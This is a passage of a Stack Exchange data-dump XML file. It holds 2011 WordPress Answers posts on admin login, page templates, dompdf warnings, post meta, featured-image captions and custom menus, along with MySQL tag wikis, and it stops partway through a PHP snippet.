  <row Id="19462" PostTypeId="2" ParentId="14539" CreationDate="2011-06-07T22:48:39.880" Score="0" ViewCount="" Body="&lt;p&gt;In the Yahoo Small Business Account Manager look for &quot;Blog Manager&quot;.  There it will give you an opportunity to enter the new file path.  That should do it in most cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do not deactivate or remove this plugin as it seems to be required by the WordPress Installation provided by the Yahoo Auto-installer.  In case you do, temporarily put up a secondary blog through the blog manager and copy the required files from the temporary plugin directory to your main blog directory.  When done simply use the Blog Manager to deactivate (remove) the temporary blog.&lt;/p&gt;&#xA;" OwnerUserId="6001" LastActivityDate="2011-06-07T22:48:39.880" />
  <row Id="19463" PostTypeId="1" CreationDate="2011-06-07T23:07:29.937" Score="-5" ViewCount="56" Body="&lt;p&gt;I outsourced my site to be built - it's finished - now I want to login to the wordpress admin area - the only way I seem to be able to do this is if I click on the link through where I outsourced the site in a message where the link is located.  When I click on that link - which is just &lt;a href=&quot;http://mysite.com/wp-admin&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/wp-admin&lt;/a&gt; it takes me right to Wordpress login.  However, when I copy and paste this same link into bing, google or yahoo I do not get the wordpress login.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do to fix this?  I do not want to have to login to the site I outsourced to and find the message with the link in it in order to go to my wordpress admin area.  Any suggestions?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cathy&lt;/p&gt;&#xA;" OwnerUserId="6002" LastActivityDate="2011-06-07T23:09:14.040" Title="My wordpress login not accessible through yahoo, bing or yahoo what can I do?" Tags="&lt;wp-admin&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="19464" PostTypeId="2" ParentId="19463" CreationDate="2011-06-07T23:09:14.040" Score="3" ViewCount="" Body="&lt;p&gt;Paste that link in to your address bar, at the top of the screen. Not a search engine&lt;/p&gt;&#xA;" OwnerUserId="3493" LastActivityDate="2011-06-07T23:09:14.040" CommentCount="2" />
  <row Id="19467" PostTypeId="2" ParentId="19461" CreationDate="2011-06-08T00:22:32.273" Score="0" ViewCount="" Body="&lt;p&gt;Unless you have a particular reason to have meta box order values , that would be overkill.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead ditch the excerpt for pages, and add a meta box called &quot;intro_content&quot; (or whatever).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in a home.php query you can easily grab this info and order it however you want using html.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// replace 1, 2, 3, with actual page ID's&#xA;$about_meta = get_post_meta( 1, 'intro_content');&#xA;$new_patients_meta = get_post_meta( 2, 'intro_content'); &#xA;$service_meta = get_post_meta( 3, 'intro_content'); &#xA;&#xA;// div styles and echo the title + the above or whatever&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_meta&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_post_meta&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Added this after your comment/edit.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To order the metabox you can add another one with a numerical value, or even better add a dropdown box ( for example called 'order_value_dropdown').&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That way in your query you can query the order by value of the dropdown. For example :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $order_meta = get_post_meta( 3, 'order_value_dropdown'); &#xA; if ($order_meta = 1 )&#xA; //grab the intro_content meta from that post&#xA; if ($order_meta = 2 )&#xA; //grab the intro_content meta from that post&#xA; // etc, etc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-06-08T03:55:33.963" LastActivityDate="2011-06-08T03:55:33.963" CommentCount="9" />
  <row Id="19468" PostTypeId="1" CreationDate="2011-06-08T00:28:33.483" Score="2" ViewCount="152" Body="&lt;p&gt;I am having a quite odd case with WP today, and after spending about an hour searching on google and forums, can't find any answers. I hope posting here might allow me some chance to get help from WordPress Wizards that lurks somewhere on this support forum :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, my problem here is that I accidentally deleted page.php on my template (I am trying to remove all default template and make WordPress more personalized and customizing backend). I wanted to remove the template called 'Default Template' and make the template dropdown on pages shows like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One Page Template (or just a random name)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Grid 2 sidebar Template (or just a random name)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Store contents (or just a random name)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After I deleted page.php -- the Default Template didn't removed at all, I still got it, and I got no way to style or remove it. Adding to the problem is when I recopied page.php from my repository, &lt;strong&gt;I got DOUBLE template called 'Default Template' now!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to replicate the problem by installing a fresh copy of WP 3.1.2 and duplicate 2010, and then I activate that duplicate. Here's my steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Delete page.php and page-with-sidebar.php&lt;/li&gt;&#xA;&lt;li&gt;Check pages, now I got 'Default Template', but no page.php&lt;/li&gt;&#xA;&lt;li&gt;Recopied page.php&lt;/li&gt;&#xA;&lt;li&gt;Check pages, now I got TWO 'Default Template'&lt;/li&gt;&#xA;&lt;li&gt;Switched to the original 2010 -- check pages -- works OK, with one 'Default Template' and one 'Default Template with Sidebar'&lt;/li&gt;&#xA;&lt;li&gt;Switched back to the modified 2010 -- check pages -- still got double 'Default Template'&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now, what I see here is that this problem definitely happens because I deleted page.php -- and it's stuck on the Theme, not on the wordpress installation itself. To make the matter worse, I can't find any file that is updated because of it -- really amusing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what looks close to what I have, but not really:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/support/topic/page-templates-gone-wp-271&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/page-templates-gone-wp-271&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/support/topic/missing-template-files-makes-wp-fall-back-on-default&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/missing-template-files-makes-wp-fall-back-on-default&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;My questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What should I do to fix the problem?&#xA;I wanted to know if there is anyway &#xA;to return the theme to recognize&#xA;that    we already got the page.php&#xA;back.&lt;/li&gt;&#xA;&lt;li&gt;How to remove the 'Default    Template' from the dropdown lists of&#xA;page template? Maybe through unset&lt;br&gt;&#xA;call on functions.php ?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Many thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Andre&lt;/p&gt;&#xA;" OwnerUserId="6005" LastActivityDate="2011-08-07T14:20:33.447" Title="How to fix a theme with page.php Default Template that accidentally deleted?" Tags="&lt;functions&gt;&lt;customization&gt;&lt;wp-admin&gt;&lt;template&gt;&lt;default&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="19469" PostTypeId="2" ParentId="16440" CreationDate="2011-06-08T01:49:40.017" Score="0" ViewCount="" Body="&lt;p&gt;I created the &lt;a href=&quot;http://www.deluxeblogtips.com/p/meta-box-script-for-wordpress.html&quot; rel=&quot;nofollow&quot;&gt;Meta Box Script&lt;/a&gt; that let us create custom meta boxes in WordPress. I go in a different way from WPAlchemy (yes, it's worth taking a look) as I think it's easier for developers.&lt;/p&gt;&#xA;" OwnerUserId="2051" LastActivityDate="2011-06-08T01:49:40.017" />
  <row Id="19470" PostTypeId="1" AcceptedAnswerId="19534" CreationDate="2011-06-08T03:01:20.000" Score="3" ViewCount="166" Body="&lt;p&gt;WordPress auto corrects the permalinks(URLs) even if it is entered incorrectly. For e.g. WordPress will land you in &lt;code&gt;example.com/some-post&lt;/code&gt; even if you enter &lt;code&gt;example.com/idontexist/some-post&lt;/code&gt; or even &lt;code&gt;example.com/some&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It could be that, WordPress uses RegEx like or some matching algorithm that compares from right to left and if it finds a match, it will take you to the page even if there are &lt;code&gt;/.*/&lt;/code&gt; left on the left. Just a guess! How does WordPress do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I also noticed that the .htaccess file checks for virtual file/directories using &lt;code&gt;!f&lt;/code&gt; and &lt;code&gt;!d&lt;/code&gt; and redirects the request to index.php on the blog folder.&lt;/p&gt;&#xA;" OwnerUserId="5123" LastActivityDate="2011-06-08T18:01:11.133" Title="How does WordPress handle permalinks?" Tags="&lt;permalinks&gt;&lt;url-rewriting&gt;&lt;redirect&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="19471" PostTypeId="1" CreationDate="2011-06-08T03:15:51.313" Score="0" ViewCount="78" Body="&lt;p&gt;When generating PDF with dompdf I am having this problem in pdf file when viewing file in notepad&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning :  tempnam() [function.tempnam]:&#xA;  SAFE MODE Restriction in effect.  The&#xA;  script whose uid is 10210 is not&#xA;  allowed to access /tmp owned by uid 0&#xA;  in&#xA;  &lt;b&gt;/var/www/vhosts/www.mysite.com/httpdocs/wp-content/themes/mysite/dompdf/include/image_cache.cls.php&lt;/b&gt;&#xA;  on line &lt;b&gt;105&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Warning&lt;/b&gt;:  file_put_contents() [function.file-put-contents]:&#xA;  Filename cannot be empty in&#xA;  &lt;b&gt;/var/www/vhosts/www.mysite.com/httpdocs/wp-content/themes/mysite/dompdf/include/image_cache.cls.php&lt;/b&gt;&#xA;  on line &lt;b&gt;117&lt;/b&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Warning:  unlink() [function.unlink]:&#xA;  Unable to access  in&#xA;  &lt;b&gt;/var/www/vhosts/www.mysite.com/httpdocs/wp-content/themes/mysite/dompdf/include/image_cache.cls.php&lt;/b&gt;&#xA;  on line &lt;b&gt;153&lt;/b&gt;&#xA;  Blockquote&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have included image in pdf file. Without image this message is not displayed. I have tried with absolute and relative path of the image also but did not work. I have set the folder permission to 777 to dompdf folder. Need help on this matter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="478" LastActivityDate="2011-08-09T12:21:30.303" Title="Warning : tempnam() [&lt;a href='function.tempnam'&gt;function.tempnam&lt;/a&gt;]: SAFE MODE Restriction in effect" Tags="&lt;image&gt;&lt;permissions&gt;&lt;pdf&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="19472" PostTypeId="5" CreationDate="2011-06-08T03:20:23.633" Score="0" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://dev.mysql.com/doc/refman/5.5/en/innodb-storage-engine.html&quot; rel=&quot;nofollow&quot;&gt;InnoDB&lt;/a&gt;&lt;/strong&gt; is the ACID-compliant Storage Engine used in MySQL. InnoDB also features the use for MVCC (Multiversion Concurrency Control) to support Transactional Isolation Levels for InnoDB. InnoDB is not a standalone database product: it is distributed as a part of the MySQL database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the early days of MySQL, InnoDB was made available to MySQL as an additional transactional storage along with BDB. &lt;a href=&quot;http://www.oracle.com/us/corporate/Acquisitions/innobase/index.html?origref=http://search.yahoo.com/search;_ylt=AgwSuslm7SmUxujpui2AvKGbvZx4?fr=yfp-t-892-s&amp;amp;toggle=1&amp;amp;cop=mss&amp;amp;ei=UTF8&amp;amp;p=innobase%20oracle&quot; rel=&quot;nofollow&quot;&gt;The company that developed InnoDB, InnoBase Oy, was purchased by Oracle in October 2005&lt;/a&gt;. Percona has contributed great improvements to &lt;a href=&quot;http://www.percona.com/software/percona-xtradb/&quot; rel=&quot;nofollow&quot;&gt;its own Open Source version of InnoDB (XtraDB).&lt;/a&gt; Oracle, who eventually became the owner of MySQL via purchasing Sun, has incorporated most of those changes into InnoDB, as well adding improvements of their own. As a result, InnoDB has transformed into a more mature storage engine that handles mulitprocessing and multithreading more robustly. &lt;a href=&quot;http://dev.mysql.com/doc/refman/5.5/en/innodb-default-se.html&quot; rel=&quot;nofollow&quot;&gt;As of December 2010, InnoDB has become the default storage engine for MySQL 5.5&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;MySQL 5.5 also comes with new features such as &lt;a href=&quot;http://dev.mysql.com/doc/refman/5.5/en/replication-semisync.html&quot; rel=&quot;nofollow&quot;&gt;Semisynchronous Replication&lt;/a&gt;, Multiple InnoDB Buffers Pools, plugins for user-defined authentication, performance metrics instrumentation, and more !!!&lt;/p&gt;&#xA;" OwnerUserId="-1" LastEditorUserId="4699" LastEditorDisplayName="" LastEditDate="2011-06-08T03:32:45.533" LastActivityDate="2011-06-08T03:32:45.533" />
  <row Id="19473" PostTypeId="4" CreationDate="2011-06-08T03:20:23.633" Score="0" ViewCount="" Body="InnoDB is the main ACID-compliant Storage Engine used in MySQL." OwnerUserId="-1" LastEditorUserId="4699" LastEditorDisplayName="" LastEditDate="2011-06-08T03:32:49.340" LastActivityDate="2011-06-08T03:32:49.340" />
  <row Id="19474" PostTypeId="1" AcceptedAnswerId="19477" CreationDate="2011-06-08T03:21:24.547" Score="1" ViewCount="109" Body="&lt;p&gt;What is the best way to store post meta in an array (using a custom write box, know how to do that) so that all post meta is in a single custom field?&lt;/p&gt;&#xA;" OwnerUserId="1057" LastActivityDate="2011-06-08T04:14:24.690" Title="How to store post meta in an array?" Tags="&lt;post-meta&gt;&lt;array&gt;" AnswerCount="1" />
  <row Id="19475" PostTypeId="5" CreationDate="2011-06-08T03:23:52.720" Score="0" ViewCount="" Body="&lt;p&gt;MySQL is a relational database management system (RDBMS) that runs as a server providing multi-user access to a number of databases. MySQL is officially pronounced /maɪˌɛskjuːˈɛl/ (&quot;My S-Q-L&quot;), but is often pronounced /maɪˈsiːkwəl/ (&quot;My Sequel&quot;). It is named for original developer Michael Widenius's daughter My.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The MySQL development project has made its source code available under the terms of the GNU General Public License, as well as under a variety of proprietary agreements. MySQL is owned and sponsored by a single for-profit firm, the Swedish company MySQL AB, now owned by Sun Microsystems, a subsidiary of Oracle Corporation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://dev.mysql.com/doc/refman/5.5/en/storage-engines.html&quot; rel=&quot;nofollow&quot;&gt;MySQL features the use of several storage engines&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://dba.stackexchange.com/tags/innodb/info&quot;&gt;InnoDB (default as of MySQL 5.5)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://dba.stackexchange.com/tags/myisam/info&quot;&gt;MyISAM (default prior to MySQL 5.5)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;ARCHIVE&lt;/li&gt;&#xA;&lt;li&gt;BLACKHOLE&lt;/li&gt;&#xA;&lt;li&gt;CSV&lt;/li&gt;&#xA;&lt;li&gt;MEMORY&lt;/li&gt;&#xA;&lt;li&gt;MRG_MYISAM&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Each storage engine has unique properties that make effective usage of data depending on&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Read Performance&lt;/li&gt;&#xA;&lt;li&gt;Write Performance&lt;/li&gt;&#xA;&lt;li&gt;Tuning the Settings&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Other third party storage engines have been used in MySQL.&lt;/p&gt;&#xA;" OwnerUserId="-1" LastEditorUserId="4699" LastEditorDisplayName="" LastEditDate="2011-06-08T03:32:52.710" LastActivityDate="2011-06-08T03:32:52.710" />
  <row Id="19476" PostTypeId="4" CreationDate="2011-06-08T03:23:52.720" Score="0" ViewCount="" Body="MySQL is an open-source, relational database management system." OwnerUserId="-1" LastEditorUserId="4699" LastEditorDisplayName="" LastEditDate="2011-06-08T03:32:55.767" LastActivityDate="2011-06-08T03:32:55.767" />
  <row Id="19477" PostTypeId="2" ParentId="19474" CreationDate="2011-06-08T04:14:24.690" Score="0" ViewCount="" Body="&lt;p&gt;From codex:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$meta_value (mixed) (required) The&#xA;  value of the custom field you will&#xA;  add. An array will be serialized into&#xA;  a string. Default: None&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So  &lt;code&gt;&amp;lt;?php add_post_meta(7, 'fruit', 'banana', 'apple', 'tornado', 'bob saget')&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To grab them you can also use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_custom_values&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_post_custom_values&lt;/a&gt;     &lt;/p&gt;&#xA;&#xA;&lt;p&gt;besides just &lt;code&gt;get_post_meta&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-06-08T04:14:24.690" CommentCount="1" />
  <row Id="19478" PostTypeId="2" ParentId="19468" CreationDate="2011-06-08T04:26:03.987" Score="0" ViewCount="" Body="&lt;p&gt;Since this is a custom theme I can only guess what's going on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Possible answers to Question 1:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;make sure that it's your custom theme that's activated&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;make sure that all your theme files&#xA;have the right Template Name.  The&#xA;template name is what shows up in&#xA;the drop-down list.  If you have&#xA;duplicates or the wrong ones then&#xA;you'll get an unexpected list.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Answer to Question 2:&#xA;I don't think you can remove &quot;Default Template&quot;. &quot;Default Template&quot; tells to WordPress to use page.php. if that's not present then use index.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another possibility is that one of your templates files has a Template Name of &quot;Default Template&quot;. it's silly i know, but it's possible. That would definitely make you see double. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;HTH&lt;/p&gt;&#xA;" OwnerUserId="413" LastActivityDate="2011-06-08T04:26:03.987" />
  <row Id="19479" PostTypeId="1" AcceptedAnswerId="19481" CreationDate="2011-06-08T04:52:31.060" Score="0" ViewCount="121" Body="&lt;p&gt;I'd like to display captions with my featured images. This is another feature that should be available by default but for some reason is not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a few routines out there that claim to accomplish the task, but they come up blank for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any reliable way to display a caption with a featured image?&lt;/p&gt;&#xA;" OwnerUserId="5486" LastActivityDate="2011-06-08T05:50:11.977" Title="Displaying caption with featured image" Tags="&lt;post-thumbnails&gt;&lt;captions&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="19480" PostTypeId="1" AcceptedAnswerId="19482" CreationDate="2011-06-08T04:55:24.717" Score="1" ViewCount="100" Body="&lt;p&gt;I've created a custom taxonomy and I want to add it as an option for custom menus (under Appearance &gt; Menus). How do I get it to show up there (see the illustration, I want it to show up where the red square is).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/FeLSC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5719" LastActivityDate="2011-06-08T06:00:51.733" Title="How do I add a custom taxonomy as an option for menus under &quot;Appearance&quot; &gt; &quot;Menus&quot;" Tags="&lt;custom-taxonomy&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="19481" PostTypeId="2" ParentId="19479" CreationDate="2011-06-08T05:50:11.977" Score="2" ViewCount="" Body="&lt;p&gt;To use this you will need to add this to in place of your themes thumbnail function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function your_thumbnail_caption($html, $post_id, $post_thumbnail_id, $size, $attr)&#xA;{&#xA;$attachment =&amp;amp; get_post($post_thumbnail_id);&#xA;&#xA;if ($attachment-&amp;gt;post_excerpt || $attachment-&amp;gt;post_content) {&#xA;$html .= '&amp;lt;p class=&quot;thumbcaption&quot;&amp;gt;';&#xA;if ($attachment-&amp;gt;post_excerpt) {&#xA;$html .= '&amp;lt;span class=&quot;captitle&quot;&amp;gt;'.$attachment-&amp;gt;post_excerpt.'&amp;lt;/span&amp;gt; ';&#xA;}&#xA;$html .= $attachment-&amp;gt;post_content.'&amp;lt;/p&amp;gt;';&#xA;}&#xA;&#xA;return $html;&#xA;}&#xA;&#xA;add_action('post_thumbnail_html', 'your_thumbnail_caption', null, 5);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your current call to the post thumbnail should work, but just in case here is the code I use in the index.php or the post.php (whichever your theme is using).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php the_post_thumbnail(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now when you add a post thumbnail you can type your caption for the image. Make sure you save the image after adding the thumbnail. You can also add captions to existing thumbnails by going to the post edit screen, select the post and click the current featured image to bring up the image caption area.&lt;/p&gt;&#xA;" OwnerUserId="5339" LastActivityDate="2011-06-08T05:50:11.977" CommentCount="3" />
  <row Id="19482" PostTypeId="2" ParentId="19480" CreationDate="2011-06-08T06:00:51.733" Score="6" ViewCount="" Body="&lt;p&gt;Your custom taxonomy should show up as an option for custom menus, if you have &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'show_in_nav_menus' =&amp;gt; true&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as a parameter when you register your post type with &lt;code&gt;register_post_type()&lt;/code&gt;. You can check all the available parameters in the codex entry &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_post_type#Arguments&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/register_post_type#Arguments&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5998" LastActivityDate="2011-06-08T06:00:51.733" CommentCount="1" />
  <row Id="19483" PostTypeId="2" ParentId="18918" CreationDate="2011-06-08T06:32:56.263" Score="0" ViewCount="" Body="&lt;p&gt;Since my domain mapping plugin does not do cname (wpmudev domain mapping) i could not use the cname suggestion. As for the ip address this is untested as i do not want to add more to my hosting bill at this time maybe in the feature ill give it a shot. ordering the vhosts and assigning alias works but like i said in a previous comment i plan on allowing other users to map a domain name and that means i would have to add it manually every time one was registered. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My solution is this:&lt;/strong&gt;&lt;br&gt;&#xA;I created a wp site with a sub-domain of my choice and then created a sym link in the wp root folder (i know that i can access from any site but not many people will not that) so when i type in subdomain1.mydomain.com/analytics it will load the analytics same goes for my issue tracking script. By creating the site i can create a page that shows a list of services that can be accessed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks John P Bloch for your help i know this was not a WordPress issue completely but since it was my domain mapping plugin that to me made it enough as well thank you EAMann this would work but like i said above i would need to create a s-alias every-time.&lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-06-08T06:32:56.263" CommentCount="2" />
  <row Id="19484" PostTypeId="2" ParentId="19468" CreationDate="2011-06-08T06:43:19.073" Score="-1" ViewCount="" Body="&lt;p&gt;Thank you for your answer, unfortunately I'm using 2010 (aka twenty-ten), which is the default WP3.0 template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I do is deleting page.php and page-no-sidebar.php which both are the original page template, and then recopied page.php back -- voila, got two default template, and can't change the top one at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone can test the steps above might see the same duplicates on any wordpress template -- pretty amusing stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Andre&lt;/p&gt;&#xA;" OwnerUserId="6010" LastActivityDate="2011-06-08T06:43:19.073" CommentCount="1" />
  <row Id="19485" PostTypeId="1" AcceptedAnswerId="19486" CreationDate="2011-06-08T06:53:08.180" Score="0" ViewCount="51" Body="&lt;p&gt;I want to grab all posts from an author under category X. Right now, I am using 4 separate loops to do this for 4 different categories. Is there a better way to do this? &lt;code&gt;query_posts&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="5652" LastActivityDate="2011-06-08T10:22:23.100" Title="Instead of 4 loops, how can I do it better?" Tags="&lt;query-posts&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="19486" PostTypeId="2" ParentId="19485" CreationDate="2011-06-08T06:57:26.357" Score="1" ViewCount="" Body="&lt;p&gt;Have a look at the category parameters of &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Query#Category_Parameters&quot; rel=&quot;nofollow&quot;&gt;WP_Query&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-06-08T06:57:26.357" />
  <row Id="19488" PostTypeId="1" AcceptedAnswerId="19553" CreationDate="2011-06-08T08:03:21.637" Score="1" ViewCount="78" Body="&lt;p&gt;Im wanting to show a profile/logo pic on author.php via a simple shortcode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpaluploader_showauthorimage() {&#xA;$wpaluploader_authorlogo = '&amp;lt;img src=&quot;' . get_bloginfo('url'). '/wp-content/uploads/wpal_logos/'.$curauth-&amp;gt;ID.''.get_option(wpal_mime) .'&quot;/&amp;gt;';&#xA;return $wpaluploader_authorlogo;&#xA;}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know i need to get:&lt;br&gt;&#xA;    global&lt;br&gt;&#xA;    $author&lt;br&gt;&#xA;inside this function, however no matter how i go around it i can get it to work, i have a similar shortcode for all other posts/pages which doesnt need the global and $author declarations as they use the wp loop to get the info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin im working on takes an uploaded image from frontend, renames it to user_id and pops it in a folder, so its pretty important that i can pull this curauth-&gt;ID info to display it on author.php via the shortcode&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit, complete working code:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpaluploader_showauthorimage() {&#xA;global $author, $profileuser;&#xA;if(isset($_GET['author_name'])) {&#xA;$curauth = get_userdatabylogin(get_the_author_login());&#xA;} else {&#xA;$curauth = get_userdata(intval($author));&#xA;}&#xA;$wpaluploader_authorlogo = '&amp;lt;img src=&quot;' . get_bloginfo('url'). '/wp-content/uploads/wpal_logos/'.$curauth-&amp;gt;ID .''.get_option(wpal_mime) .'&quot; /&amp;gt;';&#xA;return $wpaluploader_authorlogo;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditorDisplayName="" LastEditDate="2011-06-08T11:23:04.897" LastActivityDate="2011-06-09T00:03:09.767" Title="Getting $curauth-&gt;ID to work inside a shortcode" Tags="&lt;author&gt;&lt;global&gt;&lt;logo&gt;&lt;profile&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="19489" PostTypeId="2" ParentId="8827" CreationDate="2011-06-08T08:13:15.300" Score="0" ViewCount="" Body="&lt;p&gt;you can use localhost to test,setup wordpress on localhost and test ! after you can upload to your site !&lt;/p&gt;&#xA;" OwnerUserId="6012" LastActivityDate="2011-06-08T08:13:15.300" />
  <row Id="19490" PostTypeId="2" ParentId="1567" CreationDate="2011-06-08T08:22:16.770" Score="2" ViewCount="" Body="&lt;h1&gt;Use figure and figcaption for captions&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Tested on:&lt;/strong&gt; WordPress 3.1.3&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Credits to WP Engineer: &lt;a href=&quot;http://wpengineer.com/917/filter-caption-shortcode-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://wpengineer.com/917/filter-caption-shortcode-in-wordpress/&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre class=&quot;lang-php prettyprint-override&quot;&gt;&lt;code&gt;function mytheme_caption( $attr, $content = null ) {&#xA;    $output = apply_filters( 'img_caption_shortcode', '', $attr, $content );&#xA;    if ( $output != '' )&#xA;        return $output;&#xA;&#xA;    extract( shortcode_atts ( array(&#xA;    'id' =&amp;gt; '',&#xA;    'align' =&amp;gt; 'alignnone',&#xA;    'width'=&amp;gt; '',&#xA;    'caption' =&amp;gt; ''&#xA;    ), $attr ) );&#xA;&#xA;    if ( 1 &amp;gt; (int) $width || empty( $caption ) )&#xA;        return $content;&#xA;&#xA;    if ( $id ) 